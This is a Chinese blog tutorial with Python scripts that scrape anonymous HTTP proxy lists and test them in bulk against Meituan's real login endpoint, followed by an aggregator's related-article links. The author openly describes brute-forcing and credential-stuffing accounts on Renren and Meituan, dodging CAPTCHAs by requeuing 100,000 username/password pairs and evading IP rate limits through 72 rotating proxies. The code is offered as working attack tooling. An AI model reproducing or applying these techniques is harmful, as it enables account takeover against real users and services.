通过python批量获取及验证HTTP代理的代码示例

这篇文章主要介绍了批量获取及验证http代理python脚本,需要的朋友可以参考下

HTTP暴力破解、撞库,有一些惯用的技巧,比如:

1. 在扫号人人网时,我遇到单个账号错误两次,强制要求输入验证码,而对方并未实施IP策略。

我采用维护10万(用户名,密码) 队列的方式来绕过验证码。具体的做法是,当某个用户名、密码组合遇到需要验证码,就把该破解序列挂起,放到队列尾部等待下次测试,继续破解其他账号密码。

这样就可以保证2/3的时间都在进行正常破解和扫号。

立即学习“Python免费学习笔记(深入)”;

2. 在破解美团网某系统账号时,我遇到了单个IP访问有一定限制,请求频率不可过快。于是我挂了72个 HTTP代理来解决这个问题。 看似每个IP的请求都正常,但其实从整个程序上看,效率还是挺可观的。

本篇我发出自己抓HTTP的脚本片段,其实只有几行。匿名代理是从这里抓取的:http://www.xici.net.co/nn/

首先获取代理列表 :

from bs4 import BeautifulSoupimport urllib2of = open('proxy.txt' , 'w')for page in range(1, 160):  html_doc = urllib2.urlopen('http://www.xici.net.co/nn/' + str(page) ).read()  soup = BeautifulSoup(html_doc)  trs = soup.find('table', id='ip_list').find_all('tr')  for tr in trs[1:]:    tds = tr.find_all('td')    ip = tds[1].text.strip()    port = tds[2].text.strip()    protocol = tds[5].text.strip()    if protocol == 'HTTP' or protocol == 'HTTPS':      of.write('%s=%s:%s' % (protocol, ip, port) )      print '%s=%s:%s' % (protocol, ip, port)of.close()

登录后复制

接着验证代理是否可用,因为我是用于破解美团网系统的账号,因此用了美团的页面标记:

#encoding=gbkimport httplibimport timeimport urllibimport threadinginFile = open('proxy.txt', 'r')outFile = open('available.txt', 'w')lock = threading.Lock()def test():  while True:    lock.acquire()    line = inFile.readline().strip()    lock.release()    if len(line) == 0: break    protocol, proxy = line.split('=')    headers = {'Content-Type': 'application/x-www-form-urlencoded',      'Cookie': ''}    try:      conn = httplib.HTTPConnection(proxy, timeout=3.0)      conn.request(method='POST', url='http://e.meituan.com/m/account/login', body='login=ttttttttttttttttttttttttttttttttttttt&password=bb&remember_username=1&auto_login=1', headers=headers )      res = conn.getresponse()      ret_headers = str( res.getheaders() )       html_doc = res.read().decode('utf-8')      print html_doc.encode('gbk')      if ret_headers.find(u'/m/account/login/') > 0:        lock.acquire()        print 'add proxy', proxy        outFile.write(proxy + '')        lock.release()      else:        print '.',    except Exception, e:      print eall_thread = []for i in range(50):  t = threading.Thread(target=test)  all_thread.append(t)  t.start()  for t in all_thread:  t.join()inFile.close()outFile.close()

登录后复制

以上就是通过python批量获取及验证HTTP代理的代码示例的详细内容,更多请关注【创想鸟】其它相关文章!

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至253000106@qq.com举报,一经查实,本站将立刻删除。

发布者:PHP中文网,转转请注明出处:https://www.chuangxiangniao.com/p/2273388.html

(0)
上一篇 2025年2月27日 13:23:45
下一篇 2025年2月24日 10:55:14

AD推荐 黄金广告位招租... 更多推荐

相关推荐

  • Python简单的制作图片验证码

    -人人可以学python–这里示范的验证码都是简单的,你也可以把字符扭曲 人人可以学Python.png Python第三方库无比强大,PIL 是python的一个d第三方图片处理模块,我们也可以使用它来生成图片验证码PIL安装…

    2025年2月27日 编程技术
    200
  • 验证码的随机生成

    1、借助列表 import randomdef random_code(): random_list = []for i in range(4): ra = random.randrange(4)if ra == i: random_lis…

    编程技术 2025年2月27日
    200
  • python识别验证码

    这次给大家带来python识别验证码,python识别验证码的注意事项有哪些,下面就是实战案例,一起来看一下。 除了传统的PIL包处理图片,然后用pytessert+OCR识别意外,还可以使用tessorflow训练来识别验证码。 此篇代码…

    编程技术 2025年2月27日
    200
  • 如何将Python脚本打包成可执行文件?(详细)

    本篇文章给大家带来的内容是关于如何将python脚本打包成可执行文件?(详细),有一定的参考价值,有需要的朋友可以参考一下,希望对你有所帮助。 Python是一个脚本语言,被解释器解释执行。它的发布方式: .py文件:对于开源项目或者源码没…

    编程技术 2025年2月27日
    200
  • python脚本如何将Excel文件转为csv文件(代码)

    本篇文章给大家带来的内容是关于python脚本如何将excel文件转为csv文件(代码),有一定的参考价值,有需要的朋友可以参考一下,希望对你有所帮助。 #!/usr/bin/env python __author__ = “lrtao20…

    编程技术 2025年2月27日
    200
  • python脚本如何模拟接口实现批量用户开通(代码)

    本篇文章给大家带来的内容是关于python脚本如何模拟接口实现批量用户开通(代码),有一定的参考价值,有需要的朋友可以参考一下,希望对你有所帮助。 1、目的 通过模拟接口方法,实现批量用户开通 2、分析 A、接口含body和head部分,其…

    编程技术 2025年2月27日
    200
  • 学习Python Celery,轻松完成异步任务

    虽然现代的网络应用比以往任何时候都更快速、更便捷,但仍有许多情况下,需要把繁重的任务转移到系统的其他部分执行,而不是在主线程上进行工作。 这些情况中的示例如下: 周期性任务 —— 计划在特定时间间隔内运行的工作。例如,每日、每月的报告生成。…

    2025年2月26日
    200
  • 定时任务crontab命令用法

    要理解 Crontab,需要了解其字段含义:分钟、小时、日、月、星期。此外,掌握语法并避免怪异的表达式至关重要。关键要点如下:查看 Crontab 日志文件以解决问题。在脚本中明确指定环境变量或使用 source 命令加载环境文件。对于长时…

    2025年2月26日
    200
  • 用于监控网站变化的Python脚本

    在当今的数字时代,了解网站上的最新变化对于各种目的都至关重要,例如跟踪竞争对手网站上的更新、监控产品可用性或随时了解重要信息。手动检查网站是否有更改可能既耗时又低效。这就是自动化发挥作用的地方。 在这篇博文中,我们将探讨如何创建 Pytho…

    2025年2月26日
    200
  • Python脚本自动刷新Excel电子表格

    Python 和 Excel 是两个强大的工具,结合起来可以开启自动化世界。 Python 具有多功能的库和用户友好的语法,使我们能够编写脚本来有效地执行各种任务。另一方面,Excel 是一种广泛使用的电子表格程序,它为数据分析和操作提供了…

    2025年2月26日
    200

发表回复

登录后才能评论